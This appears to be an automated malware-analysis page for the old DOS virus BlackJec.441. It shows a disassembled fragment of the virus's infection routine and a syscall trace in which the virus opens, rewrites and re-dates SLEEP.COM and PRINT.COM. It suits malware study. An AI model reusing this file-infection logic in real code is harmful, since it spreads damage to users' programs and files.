Sample viewer

vx.netlux.org/Virus.DOS.BlackJec.441

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:58:08.223440013Z 42 PC: 12aaa | Get date 0x12aaa: mov word ptr [0xf2], dx
0x12aae: mov word ptr [0xf4], cx
0x12ab2: stc
0x12ab3: mov dx, 0x2b0
0x12ab6: mov ah, 0x4e
0x12ab8: mov cx, 0x20
0x12abb: int 0x21
0x12abd: or ax, ax
0x12abf: je 0x12ac4
0x12ac1: jmp 0x12b99
0x12ac4: mov ah, 0x2f
0x12ac6: int 0x21
0x12ac8: mov ax, word ptr es:[bx + 0x1a]
0x12acc: mov word ptr [0xfc], ax
0x12acf: add bx, 0x1e
0x12ad2: mov word ptr [0xfe], bx
0x12ad6: mov ax, 0x4f43
0x12ad9: sub ax, word ptr [0x9e]
0x12add: jne 0x12ae2
0x12adf: jmp 0x12b8d
2018-12-17T22:58:08.226022358Z 78 PC: 12abd | Find first file
2018-12-17T22:58:08.231833931Z 47 PC: 12ac8 | Get disk transfer address
2018-12-17T22:58:08.233031375Z 43 PC: 12b1e | Set date
2018-12-17T22:58:08.236922785Z 61 PC: 12b26 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:58:08.248222282Z 63 PC: 12b34 | Read file or device (Read 407 bytes on handle 5)
2018-12-17T22:58:08.254526484Z 60 PC: 12b71 | Create or truncate file
2018-12-17T22:58:08.273431694Z 64 PC: 12b83 | Write file or device (Write 848 bytes on handle 6)
2018-12-17T22:58:08.281539129Z 62 PC: 12b87 | Close file
2018-12-17T22:58:08.289766811Z 79 PC: 12b92 | Find next file
2018-12-17T22:58:08.292680872Z 47 PC: 12ac8 | Get disk transfer address
2018-12-17T22:58:08.293960516Z 43 PC: 12b1e | Set date
2018-12-17T22:58:08.297048017Z 61 PC: 12b26 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:58:08.308533581Z 63 PC: 12b34 | Read file or device (Read 27 bytes on handle 6)
2018-12-17T22:58:08.315115735Z 60 PC: 12b71 | Create or truncate file
2018-12-17T22:58:08.327384658Z 64 PC: 12b83 | Write file or device (Write 468 bytes on handle 7)
2018-12-17T22:58:08.331844739Z 62 PC: 12b87 | Close file
2018-12-17T22:58:08.339929154Z 43 PC: 12ba5 | Set date
2018-12-17T22:58:08.343192235Z 43 PC: 12bab | Set date
2018-12-17T22:58:08.346533403Z 43 PC: 12bb1 | Set date
2018-12-17T22:58:08.350196882Z 43 PC: 12bb8 | Set date
2018-12-17T22:58:08.354754427Z 76 PC: 12a45 | Terminate with return code (Return code = '0')